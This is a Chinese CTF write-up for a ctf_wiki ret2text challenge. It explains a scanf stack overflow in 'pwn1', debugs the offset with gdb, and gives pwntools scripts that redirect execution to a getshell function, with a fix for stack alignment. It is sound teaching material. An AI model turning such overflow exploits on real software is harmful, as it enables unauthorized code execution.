描述 | 内容 |
---|---|
程序名称 | pwn1 |
程序平台 | linux |
程序来源 | ctf_wiki |
CPU架构 | amd64 |
libc版本 | 2.31 |
利用手法 | ret2text |
系统版本 | Ubuntu 20.04 LTS |
下载地址 | https://wwnd.lanzoue.com/i3ITH0qeayje |
Arch:程序架构信息,i386-32-little——32位小端,amd64—64-little——64位小端
NX保护:堆、栈、BSS段不可执行。
RELRO保护:整个GOT表只读,无法被覆盖。
1.将程序载入到ida中,找到main函数,下方有一个vuln函数,跟随进去看看
2.漏洞利用点在scanf函数上,未控制缓冲区大小,输入超过16个字符缓冲区将溢出
1.在上面的vuln函数中我们可以看到,v1变量与rbp的偏移量是0x10,也就是16字节
2.为了验证IDA帮我们分析出来的这个偏移量是正确的,我们决定用动态调试方法进行确定
3.使用gdb加载程序,在0x4006B2处下一个断点
4.可以输入context查看上下文信息
1.在ida中的函数窗口栏发现有一个getshell函数,它直接就是帮我们运行一个shell
2.看它的反汇编复制它的地址(0x400686),作为我们溢出后返回的位置
#!/usr/bin/python3
from pwn import *
# 调试日志级别
context.log_level = 'debug'
# 将pwn1程序启动为进程
io = process('./pwn1')
# 构建payload,flat是将列表中的元素给组合起来
# "A" * 0x10 这个是vuln函数缓冲区大小
# p64(0xdeadbeef)表示8字节的整数,用来覆盖rbp,这个值可以任意填
# p64(0x400686)返回地址,返回到get_shell函数开头
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x400686)])
# 使用gdb附加调试
gdb.attach(io)
# 暂停,等待按任意健,程序继续往下执行
pause()
# 接受到Input:字符串后发送payload
io.sendlineafter("Input:",payload)
# 获取交互式shell环境
io.interactive()
1.我们在vuln函数的leave指令处下一个断点,准备动态调试观察栈信息
2.运行exp1.py脚本,在gdb中下断点,并且输入c(continue)指令回车继续
3.在exp1.py叫脚本窗口按回车继续,右边的gdb就会断下来,可以看到当前堆栈的返回地址已经覆盖成了getshell函数的首地址
4.我们输入c指令继续运行,发现程序断在了这里,看下面的堆栈信息,是出现了异常
5.我们去脚本窗口,输入命令试一试,发现输入命令后没有回显,利用并未成功
6.经过上网查找资料发现,movaps它要求RSP必须是16字节对齐
7.我们将当前的RSP除以16发现并没有整除,后面有小数点
8.我们看一看这个函数上方哪里操作了RSP,发现是第一句 push rbp,所以我们跳过这个地址,选择0x40068A这个地址作为返回地址执行
1.修改后的脚本
#!/usr/bin/python3
from pwn import *
io = process('./pwn1')
# 将原来的0x400686改成0x40068A
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x40068A)])
io.sendlineafter("Input:",payload)
io.interactive()
2.再次运行exp1.py,完美利用成功执行命令
gdb -q:静默运行程序(不输出gdb启动时提示的版本信息)
b:下断点
c:继续运行
context:查看上下文信息(堆栈、寄存器、反汇编)
quit:退出GDB
战队官网:https://www.edisec.net/
战队CTF靶场:https://ctf.edisec.net/#/index
战队新社区:https://bbs.edisec.net